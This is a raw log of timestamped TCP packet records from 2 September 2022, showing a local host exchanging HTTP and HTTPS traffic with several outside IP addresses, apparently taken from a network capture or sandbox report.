Sep 2, 2022 14:02:22.271600008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271605015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271610975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271614075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271627903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271630049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271644115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271645069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271661043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271668911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271678925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271694899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271696091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271711111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271716118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271727085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271733999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271743059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271752119 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271771908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271790028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.273705006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.274082899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.276719093 CEST	49789	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.277892113 CEST	80	49793	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.278093100 CEST	49793	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.278362036 CEST	49792	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.279980898 CEST	49793	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.281383991 CEST	49794	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.282680988 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.282706976 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.282778978 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.283068895 CEST	49796	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.284085989 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.284104109 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.284902096 CEST	80	49791	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.285098076 CEST	49791	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.310940981 CEST	80	49792	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.311042070 CEST	49792	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.326320887 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326348066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326453924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326499939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326539993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326574087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326586962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326613903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326735973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326771021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326783895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326797009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326808929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.326822042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327358961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327372074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327398062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327410936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327423096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327454090 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.327867985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328018904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328054905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328071117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328088999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328095913 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328105927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328119993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328121901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328144073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328180075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328212976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328228951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328242064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328262091 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328278065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328295946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328296900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328308105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328341007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328345060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328382015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328386068 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328402996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328418970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328423023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328434944 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328452110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328464031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328469038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328485966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328496933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328502893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328517914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328520060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328537941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328548908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328577042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328579903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328588963 CEST	80	49793	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.328624964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328641891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328658104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328659058 CEST	49793	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.328671932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328676939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328694105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328699112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328716040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328732014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328732967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328747988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328772068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328772068 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328809023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328811884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328829050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328845024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328847885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328861952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328867912 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328877926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328886032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328895092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328906059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328911066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328927994 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328957081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.328959942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328975916 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328993082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.328999043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329016924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329018116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329035044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329042912 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329051018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329065084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329067945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329085112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329102039 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329106092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329118013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329128981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329133987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329150915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329154968 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329168081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329185009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329201937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329212904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329231977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329235077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329248905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329263926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329265118 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329282045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329298019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329314947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329317093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329332113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329348087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329351902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329365015 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329372883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329380989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329397917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329400063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329413891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329428911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329432011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329444885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329447031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329461098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329493046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329498053 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329583883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329617977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329638004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329655886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329672098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.329673052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.329710007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.330550909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.330571890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.330583096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.330609083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.330626011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.330636978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.330637932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.330657959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.330677986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.331231117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331278086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331290960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331299067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.331306934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331321955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.331357002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.331358910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331434011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.331456900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331676006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331695080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331710100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.331759930 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.333612919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333650112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333667994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333686113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333702087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333718061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333734989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333750010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333760977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333766937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333784103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333792925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333800077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333815098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333817005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333863974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333875895 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333882093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333898067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333914995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333920956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333931923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333940983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333949089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333961010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333965063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333981991 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.333982944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.333998919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334012985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334014893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334023952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334036112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334053993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334053993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334067106 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334070921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334084988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334089041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334105968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334106922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334121943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334137917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334146023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334156036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334166050 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334172964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334189892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334197044 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334207058 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334219933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334235907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334239006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334254026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334270000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334285975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334301949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334304094 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334315062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334342003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334345102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334358931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334376097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334388018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334420919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334433079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334450006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334466934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334479094 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334482908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334500074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334501982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334508896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334516048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334532976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334537029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334548950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334563017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334567070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334583044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334585905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334599018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334615946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334618092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334631920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334641933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334647894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334662914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334666014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334685087 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334690094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334708929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334716082 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334724903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334738016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334742069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334758997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334759951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334774971 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334789038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334791899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334819078 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334841967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334866047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334894896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334904909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334923983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334933996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334940910 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.334969997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.334999084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335021973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335038900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335055113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335073948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335091114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335107088 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335107088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335113049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335119009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335134983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335150957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335151911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335180998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335182905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335197926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335203886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335226059 CEST	49768	80	192.168.2.6	62.204.41.123
